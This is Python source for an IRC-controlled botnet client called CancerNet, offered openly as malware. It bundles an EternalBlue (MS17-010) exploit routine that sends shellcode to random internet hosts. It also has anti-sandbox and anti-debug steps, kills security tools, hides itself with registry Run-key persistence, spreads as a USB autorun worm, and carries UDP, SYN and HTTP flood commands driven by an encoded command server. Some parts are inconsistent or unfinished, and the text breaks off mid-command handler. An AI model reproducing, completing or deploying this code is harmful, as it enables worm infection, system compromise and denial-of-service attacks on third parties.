CancerNet with EternalBlue Scanner

#!/usr/bin/python
#-------------------------------------------------------------------------------
# Name:     CancerNet IRC bot V8
# Purpose:   IRC Bot for botnet
# Notes:       (polymorphic) nearly impossible to remove (or detect) without system
#              analysis and creation of a tool
#
# Author:     Freak/SynthMesc @ PopulusControl (SynthMesc)
#
# Created:   15/01/2015
# Copyright:   (c) Freak 2015
# Licence:   GPLv3
#   This program is free software: you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation, either version 3 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.
#-------------------------------------------------------------------------------
import time
time.sleep([RANDOMNUMBERHERE]) #delay further execution to prevent sandboxing by AVs
from random import choice,randrange
from base64 import b64decode
from string import letters,split,rstrip
import socket,subprocess,os,sys,urllib,time,threading,itertools
from ctypes import *
import socket
import struct
import logging
import random
import threading

logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger(__file__)

# negotiate_proto_request
# session_setup_andx_request
# tree_connect_andx_request
# peeknamedpipe_request
# trans2 request


class SMB_HEADER(Structure):
  """SMB Header decoder.
  """

  _pack_ = 1  # Alignment

  _fields_ = [
    ("server_component", c_uint32),
    ("smb_command", c_uint8),
    ("error_class", c_uint8),
    ("reserved1", c_uint8),
    ("error_code", c_uint16),
    ("flags", c_uint8),
    ("flags2", c_uint16),
    ("process_id_high", c_uint16),
    ("signature", c_uint64),
    ("reserved2", c_uint16),
    ("tree_id", c_uint16),
    ("process_id", c_uint16),
    ("user_id", c_uint16),
    ("multiplex_id", c_uint16)
  ]

  def __new__(self, buffer=None):
    return self.from_buffer_copy(buffer)

  def __init__(self, buffer):
    log.debug("server_component : %04x" % self.server_component)
    log.debug("smb_command      : %01x" % self.smb_command)
    log.debug("error_class      : %01x" % self.error_class)
    log.debug("error_code       : %02x" % self.error_code)
    log.debug("flags            : %01x" % self.flags)
    log.debug("flags2           : %02x" % self.flags2)
    log.debug("process_id_high  : %02x" % self.process_id_high)
    log.debug("signature        : %08x" % self.signature)
    log.debug("reserved2        : %02x" % self.reserved2)
    log.debug("tree_id          : %02x" % self.tree_id)
    log.debug("process_id       : %02x" % self.process_id)
    log.debug("user_id          : %02x" % self.user_id)
    log.debug("multiplex_id     : %02x" % self.multiplex_id)


def generate_smb_proto_payload(*protos):
    """Generate SMB Protocol. Pakcet protos in order.
    """
    hexdata = []
    for proto in protos:
      hexdata.extend(proto)
    return "".join(hexdata)


def calculate_doublepulsar_xor_key(s):
    """Calaculate Doublepulsar Xor Key
    """
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    x = x & 0xffffffff  # this line was added just to truncate to 32 bits
    return x


def negotiate_proto_request():
    """Generate a negotiate_proto_request packet.
    """
    log.debug("generate negotiate request")
    netbios = [
      '\x00',              # 'Message_Type'
      '\x00\x00\x54'       # 'Length'
    ]

    smb_header = [
      '\xFF\x53\x4D\x42',  # 'server_component': .SMB
      '\x72',              # 'smb_command': Negotiate Protocol
      '\x00\x00\x00\x00',  # 'nt_status'
      '\x18',              # 'flags'
      '\x01\x28',          # 'flags2'
      '\x00\x00',          # 'process_id_high'
      '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
      '\x00\x00',          # 'reserved'
      '\x00\x00',          # 'tree_id'
      '\x2F\x4B',          # 'process_id'
      '\x00\x00',          # 'user_id'
      '\xC5\x5E'           # 'multiplex_id'
    ]

    negotiate_proto_request = [
      '\x00',              # 'word_count'
      '\x31\x00',          # 'byte_count'

      # Requested Dialects
      '\x02',              # 'dialet_buffer_format'
      '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00',   # 'dialet_name': LANMAN1.0

      '\x02',              # 'dialet_buffer_format'
      '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00',   # 'dialet_name': LM1.2X002

      '\x02',              # 'dialet_buffer_format'
      '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00',  # 'dialet_name3': NT LANMAN 1.0

      '\x02',              # 'dialet_buffer_format'
      '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00'   # 'dialet_name4': NT LM 0.12
    ]

    return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)


def session_setup_andx_request():
    """Generate session setuo andx request.
    """
    log.debug("generate session setup andx request")
    netbios = [
      '\x00',              # 'Message_Type'
      '\x00\x00\x63'       # 'Length'
    ]

    smb_header = [
      '\xFF\x53\x4D\x42',  # 'server_component': .SMB
      '\x73',              # 'smb_command': Session Setup AndX
      '\x00\x00\x00\x00',  # 'nt_status'
      '\x18',              # 'flags'
      '\x01\x20',          # 'flags2'
      '\x00\x00',          # 'process_id_high'
      '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
      '\x00\x00',          # 'reserved'
      '\x00\x00',          # 'tree_id'
      '\x2F\x4B',          # 'process_id'
      '\x00\x00',          # 'user_id'
      '\xC5\x5E'           # 'multiplex_id'
    ]

    session_setup_andx_request = [
      '\x0D',              # Word Count
      '\xFF',              # AndXCommand: No further command
      '\x00',              # Reserved
      '\x00\x00',          # AndXOffset
      '\xDF\xFF',          # Max Buffer
      '\x02\x00',          # Max Mpx Count
      '\x01\x00',          # VC Number
      '\x00\x00\x00\x00',  # Session Key
      '\x00\x00',          # ANSI Password Length
      '\x00\x00',          # Unicode Password Length
      '\x00\x00\x00\x00',  # Reserved
      '\x40\x00\x00\x00',  # Capabilities
      '\x26\x00',          # Byte Count
      '\x00',              # Account
      '\x2e\x00',          # Primary Domain
      '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00',    # Native OS: Windows 2000 2195
      '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00',        # Native OS: Windows 2000 5.0
    ]

    return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)


def tree_connect_andx_request(ip, userid):
    """Generate tree connect andx request.
    """
    log.debug("generate tree connect andx request")

    netbios = [
      '\x00',              # 'Message_Type'
      '\x00\x00\x47'       # 'Length'
    ]

    smb_header = [
      '\xFF\x53\x4D\x42',  # 'server_component': .SMB
      '\x75',              # 'smb_command': Tree Connect AndX
      '\x00\x00\x00\x00',  # 'nt_status'
      '\x18',              # 'flags'
      '\x01\x20',          # 'flags2'
      '\x00\x00',          # 'process_id_high'
      '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
      '\x00\x00',          # 'reserved'
      '\x00\x00',          # 'tree_id'
      '\x2F\x4B',          # 'process_id'
      userid,              # 'user_id'
      '\xC5\x5E'           # 'multiplex_id'
    ]

    ipc = "\\\\{}\IPC$\x00".format(ip)
    log.debug("Connecting to {} with UID = {}".format(ipc, userid))

    tree_connect_andx_request = [
      '\x04',              # Word Count
      '\xFF',              # AndXCommand: No further commands
      '\x00',              # Reserved
      '\x00\x00',          # AndXOffset
      '\x00\x00',          # Flags
      '\x01\x00',          # Password Length
      '\x1A\x00',          # Byte Count
      '\x00',              # Password
      ipc.encode(),        # \\xxx.xxx.xxx.xxx\IPC$
      '\x3f\x3f\x3f\x3f\x3f\x00'   # Service
    ]

    length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
    # netbios[1] = '\x00' + struct.pack('>H', length)
    netbios[1] = struct.pack(">L", length)[-3:]

    return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)


def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
    """Generate tran2 request
    """
    log.debug("generate peeknamedpipe request")
    netbios = [
      '\x00',              # 'Message_Type'
      '\x00\x00\x4a'       # 'Length'
    ]

    smb_header = [
      '\xFF\x53\x4D\x42',  # 'server_component': .SMB
      '\x25',              # 'smb_command': Trans2
      '\x00\x00\x00\x00',  # 'nt_status'
      '\x18',              # 'flags'
      '\x01\x28',          # 'flags2'
      '\x00\x00',          # 'process_id_high'
      '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
      '\x00\x00',          # 'reserved'
      treeid,
      processid,
      userid,
      multiplex_id
    ]

    tran_request = [
      '\x10',              # Word Count
      '\x00\x00',          # Total Parameter Count
      '\x00\x00',          # Total Data Count
      '\xff\xff',          # Max Parameter Count
      '\xff\xff',          # Max Data Count
      '\x00',              # Max Setup Count
      '\x00',              # Reserved
      '\x00\x00',          # Flags
      '\x00\x00\x00\x00',  # Timeout: Return immediately
      '\x00\x00',          # Reversed
      '\x00\x00',          # Parameter Count
      '\x4a\x00',          # Parameter Offset
      '\x00\x00',          # Data Count
      '\x4a\x00',          # Data Offset
      '\x02',              # Setup Count
      '\x00',              # Reversed
      '\x23\x00',          # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)
      '\x00\x00',          # SMB Pipe Protocol: FID
      '\x07\x00',
      '\x5c\x50\x49\x50\x45\x5c\x00'  # \PIPE\
    ]

    return generate_smb_proto_payload(netbios, smb_header, tran_request)


def trans2_request(treeid, processid, userid, multiplex_id):
    """Generate trans2 request.
    """
    log.debug("generate tran2 request")
    netbios = [
      '\x00',              # 'Message_Type'
      '\x00\x00\x4f'       # 'Length'
    ]

    smb_header = [
      '\xFF\x53\x4D\x42',  # 'server_component': .SMB
      '\x32',              # 'smb_command': Trans2
      '\x00\x00\x00\x00',  # 'nt_status'
      '\x18',              # 'flags'
      '\x07\xc0',          # 'flags2'
      '\x00\x00',          # 'process_id_high'
      '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
      '\x00\x00',          # 'reserved'
      treeid,
      processid,
      userid,
      multiplex_id
    ]

    trans2_request = [
      '\x0f',              # Word Count
      '\x0c\x00',          # Total Parameter Count
      '\x00\x00',          # Total Data Count
      '\x01\x00',          # Max Parameter Count
      '\x00\x00',          # Max Data Count
      '\x00',              # Max Setup Count
      '\x00',              # Reserved
      '\x00\x00',          # Flags
      '\xa6\xd9\xa4\x00',  # Timeout: 3 hours, 3.622 seconds
      '\x00\x00',          # Reversed
      '\x0c\x00',          # Parameter Count
      '\x42\x00',          # Parameter Offset
      '\x00\x00',          # Data Count
      '\x4e\x00',          # Data Offset
      '\x01',              # Setup Count
      '\x00',              # Reserved
      '\x0e\x00',          # subcommand: SESSION_SETUP
      '\x00\x00',          # Byte Count
      '\x0c\x00' + '\x00' * 12
    ]

    return generate_smb_proto_payload(netbios, smb_header, trans2_request)

def exploit(ip, shellcode, port=445):
    """Check if MS17_010 SMB Vulnerability exists.
    """
    try:
        buffersize = 1024
        timeout = 0.37

        # Send smb request based on socket.
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.settimeout(timeout)
        client.connect((ip, port))

        # SMB - Negotiate Protocol Request
        raw_proto = negotiate_proto_request()
        client.send(raw_proto)
        tcp_response = client.recv(buffersize)

        # SMB - Session Setup AndX Request
        raw_proto = session_setup_andx_request()
        client.send(raw_proto)
        tcp_response = client.recv(buffersize)

        netbios = tcp_response[:4]
        smb_header = tcp_response[4:36]   # SMB Header: 32 bytes
        smb = SMB_HEADER(smb_header)

        user_id = struct.pack('<H', smb.user_id)

        # parse native_os from Session Setup Andx Response
        session_setup_andx_response = tcp_response[36:]
        native_os = session_setup_andx_response[9:].split('\x00')[0]

        # SMB - Tree Connect AndX Request
        raw_proto = tree_connect_andx_request(ip, user_id)
        client.send(raw_proto)
        tcp_response = client.recv(buffersize)

        netbios = tcp_response[:4]
        smb_header = tcp_response[4:36]   # SMB Header: 32 bytes
        smb = SMB_HEADER(smb_header)

        tree_id = struct.pack('<H', smb.tree_id)
        process_id = struct.pack('<H', smb.process_id)
        user_id = struct.pack('<H', smb.user_id)
        multiplex_id = struct.pack('<H', smb.multiplex_id)

        # SMB - PeekNamedPipe Request
        raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
        client.send(raw_proto)
        tcp_response = client.recv(buffersize)

        netbios = tcp_response[:4]
        smb_header = tcp_response[4:36]
        smb = SMB_HEADER(smb_header)

        # nt_status = smb_header[5:9]
        nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)

        # 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable
        # 0xC0000008 - STATUS_INVALID_HANDLE
        # 0xC0000022 - STATUS_ACCESS_DENIED

        if nt_status == '\x05\x02\x00\xc0':
            log.info("[+] [{}] is likely VULNERABLE to MS17-010! ({})".format(ip, native_os))

            # vulnerable to MS17-010, check for DoublePulsar infection
            raw_proto = trans2_request(tree_id, process_id, user_id, multiplex_id)
            client.send(raw_proto)
            tcp_response = client.recv(buffersize)

            netbios = tcp_response[:4]
            smb_header = tcp_response[4:36]
            smb = SMB_HEADER(smb_header)

            if smb.multiplex_id == 0x0051:
              key = calculate_doublepulsar_xor_key(smb.signature)
              log.info("Host is likely INFECTED with DoublePulsar! - XOR Key: {}".format(key))
            log.info("[+] [{}] Sending exploit".format(ip))
            fake_recv_struct = pack('<QII', 0, 3, 0)
            fake_recv_struct += '\x00'*16
            fake_recv_struct += pack('<QII', 0, 3, 0)
            fake_recv_struct += ('\x00'*16)*7
            fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
            fake_recv_struct += '\x00'*16
            fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
            fake_recv_struct += ('\x00'*16)*11
            fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
            fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
            fake_recv_struct += ('\x00'*16)*3
            fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
            fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)
            client.send(fake_recv_struct + shellcode)
        elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):
            log.info("[-] [{}] does NOT appear vulnerable".format(ip))
        else:
            log.info("[-] [{}] Unable to detect if this host is vulnerable".format(ip))

    except Exception as err:
        log.error("[-] [{}] Exception: {}".format(ip, err))
    finally:
        client.close()
class pJRtMXnr():
    def __init__(self):
 # ANTI DEBUG
        os.popen("tskill /A Sandbox*") #Anti sandbox
        os.popen("tskill /A Wine*") #Anti wine
        os.popen("tskill /A *DBG.exe") #Anti debug 1
        os.popen("tskill /A Debug*") #Anti debug 2
 # BOTKILL
        os.popen("taskkill /f /im msdcsc.exe") #Darkcomet botkill
        os.popen("taskkill /f /im svchost.exe") #Cybergate/other botkill
        os.popen("taskkill /f /im bot.exe") #Blackshades botkill
#SETTINGS
        self.qHXlKBTz=self.squdbhNF(randrange (5,8)) #Generate random 8 character nick to ensure all bots join
        Packets=0               #Ignore this
        self.lzvJGQhK=0             #Ignore this too
        self.lwADeiuo=b64decode(b64decode("[SERVERHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
        self.djHsNKTC=6667 #Server port
        self.ZoyaERuG=b64decode(b64decode("[CHANNELHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded channel
        self.IhfIsqFG=b64decode(b64decode("[PASSWORDHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
        self.cvECZTOr="[CANCER]"+str(self.qHXlKBTz) #Bot nickname
        self.eLdpmooV=str(self.qHXlKBTz) #Bot Realname
        self.LdkDvEjz=str(self.qHXlKBTz) #Other
        self.FgBgausc=os.getenv('APPDATA')+"\\Windows Services" #Folder for executeable
        self.zTzQlGDR=self.FgBgausc+"\\services.exe" #Executable
        self.bXivjwVX="Windows Services" #Registry key name
        self.useragents = ["Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]
        self.WEDZgaKC() #Install
        threading.Thread(target=self.evqaobDM, args=()). start()
        self.krZuqOoS() #Start the bot
    def wwoHYcGX(self):
        return os.path.abspath(sys.argv[0])
    def WEDZgaKC(self): #Install features
#INSTALL
        try:
            os.popen("MD \"%s\"" % self.FgBgausc)
            os.popen("COPY \"%s\" \"%s\"" % (self.wwoHYcGX(),self.zTzQlGDR))
            os.popen("ATTRIB +H +S \"%s\"" % self.FgBgausc)   #Melt folder
            os.popen("ATTRIB +H +S \"%s\"" % self.zTzQlGDR)   #Melt file
            os.popen("ATTRIB +H +S \"%s\"" % self.wwoHYcGX())   #Melt current (hide + system + read-only)
            os.popen("REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"%s\" /t REG_SZ /F /D \"%s\"" % (self.bXivjwVX,self.zTzQlGDR))    #Start-up through registry
        except:
            pass
    def evqaobDM(self):
 #ANTIS
        Antis = ["taskmgr.exe", "proccesshacker.exe", "wireshark.exe", "regedit.exe"]
        while 1:
            for Anti in Antis:
                Result = os.popen("taskkill /f /im " + Anti).read()
                try:
                    if Result != "":
                        self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.BEDMD, Result))
                except:
                    pass
            time.sleep(1)
    def Scanner(self,shellcode):
        while 1:
            exploit(socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))), shellcode, 13)
    def NYawcQJk(self,rjsmgsgB):
        TQoQoTBw = rjsmgsgB.split('.')
        kQUqgxxv = [map(int, YqvrmAfa.split('-')) for YqvrmAfa in TQoQoTBw]
        aZhKIvaK = [range(llemeLCF[0], llemeLCF[1] + 1) if len(llemeLCF) == 2 else llemeLCF for llemeLCF in kQUqgxxv]
        for VOUZIdZn in itertools.product(*aZhKIvaK):
            yield '.'.join(map(str, VOUZIdZn))
    def squdbhNF(self,SQrrWUOl):
        return ''.join(choice(letters) for GukfgoOr in range(SQrrWUOl))

    def uVcgrMdB(self,HTdNRlTI,wqwOsYys,packetSize,pJfokfFb):
#UDP flood
        if str(wqwOsYys).startswith("0"):
            NqTdiWqy=os.urandom(int(packetSize))
        else:
            NqTdiWqy="\xff"*int(packetSize)
        mbaHoFcq=time.time()+int(pJfokfFb)
        while mbaHoFcq>time.time():
            try:
                upKurXmE=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                if wqwOsYys==0:
                    upKurXmE.sendto(NqTdiWqy,(HTdNRlTI, randrange(0,65535)))
                else:
                    upKurXmE.sendto(NqTdiWqy,(HTdNRlTI, int(wqwOsYys)))
                Packets+=1
            except:
                pass
        self.lzvJGQhK=(Packets*65535)/1048576
        self.ZyUfnKmY=self.lzvJGQhK/int(self.txMeqlni[6])
        self.oWLdHNqx.send("PRIVMSG %s :%s packets sent. Sent %s MB, %s MB/s\n" % (self.ZoyaERuG,Packets,self.lzvJGQhK,self.ZyUfnKmY))

    def trbOkDUX(self,ksTdhuPd,wqwOsYys,pJfokfFb):
#Tcp connection flood
        mbaHoFcq=time.time()+int(pJfokfFb)
        Packets = 0
        while mbaHoFcq>time.time():
            try:
                upKurXmE=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                upKurXmE.connect((ksTdhuPd, int(wqwOsYys)))
                Packets+=1
            except:
                pass
        self.oWLdHNqx.send("PRIVMSG %s :Made %s connections.\n" % (self.ZoyaERuG,Packets))

    def DATSulcH(self,NQrbUKHk,wqwOsYys):
        self.oWLdHNqx.send("PRIVMSG %s :Scanning range %s for port %s\n" % (self.ZoyaERuG,NQrbUKHk,wqwOsYys))
        for bVfrYZOb in self.NYawcQJk(NQrbUKHk):
            try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((bVfrYZOb,int(wqwOsYys))) #Make sure ksTdhuPd is up and port is open.
                s.close()
                self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,bVfrYZOb))
            except:
                pass
        self.oWLdHNqx.send("PRIVMSG %s :Finished scanning range %s\n" % (self.ZoyaERuG,NQrbUKHk))

    def DKjxyXtL(self):
#USB Spread
        for iYGvSVSV in xrange(3,13):
            try:
                kXiTsmAM=open("%s:\\autorun.inf" % letters[iYGvSVSV],"w")
                kXiTsmAM.write("[autorun]\nlabel=View Files\nopen=open.exe\naction=Open Folder to View Files\n")
                kXiTsmAM.close()
                os.popen("COPY %s %s:\\open.exe" % (self.wwoHYcGX(),letters[iYGvSVSV]))
                os.popen("ATTRIB +H +S %s:\\autorun.inf" % letters[iYGvSVSV])
                os.popen("ATTRIB +H +S %s:\\open.exe" % letters[iYGvSVSV])
                self.oWLdHNqx.send("PRIVMSG %s :Infected drive %s:\\\n" % (self.ZoyaERuG,letters[iYGvSVSV]))
            except:
                pass
    def krZuqOoS(self):
        NeZktZqq=""
        self.oWLdHNqx=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.oWLdHNqx.connect((self.lwADeiuo, self.djHsNKTC))
        self.oWLdHNqx.send("NICK %s\n" % self.cvECZTOr)
        self.oWLdHNqx.send("USER %s %s bla :%s\n" % (self.eLdpmooV, self.lwADeiuo, self.LdkDvEjz))
        self.oWLdHNqx.send("JOIN %s %s\n" % (self.ZoyaERuG,self.IhfIsqFG))
        self.DKjxyXtL()
        while 1:
            NeZktZqq=NeZktZqq+self.oWLdHNqx.recv(1024)
            BuHzRnte=split(NeZktZqq, "\n")
            NeZktZqq=BuHzRnte.pop( )
            for self.txMeqlni in BuHzRnte:
                self.txMeqlni=rstrip(self.txMeqlni)
                self.txMeqlni=split(self.txMeqlni)
                if(self.txMeqlni[0]=="PING"):
                    self.oWLdHNqx.send("PONG %s\n" % self.txMeqlni[1])
                    self.WEDZgaKC() #Persistence
                    self.DKjxyXtL() #USB Autorun Worm
            try:
                if self.txMeqlni[3]==":ddos.udpfood":
                    if self.txMeqlni[5] == "0":
                        Porty = "RAND"
                    else:
                        Porty = self.txMeqlni[5]
                    self.oWLdHNqx.send("PRIVMSG %s :Starting UDP flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],Porty))
                    threading.Thread(target=self.UDPFood, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],self.txMeqlni[7],)).start()
                elif self.txMeqlni[3]==":ddos.synflood":
                    self.oWLdHNqx.send("PRIVMSG %s :Starting SYN flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],self.txMeqlni[5]))
                    threading.Thread(target=self.trbOkDUX, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],)).start()
                elif self.txMeqlni[3]==":ddos.httpflood":
                    self.oWLdHNqx.send("PRIVMSG %s :Starting HTTP flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4]))
                    threading.Thread(target=self.HTTPFlood, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],)).start()
                elif self.txMeqlni[3]==":ddos.slowloris":
                    self.oWLdHNqx.send("PRIVMSG %s :Starting slowloris on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],self.txMeqlni[5]))
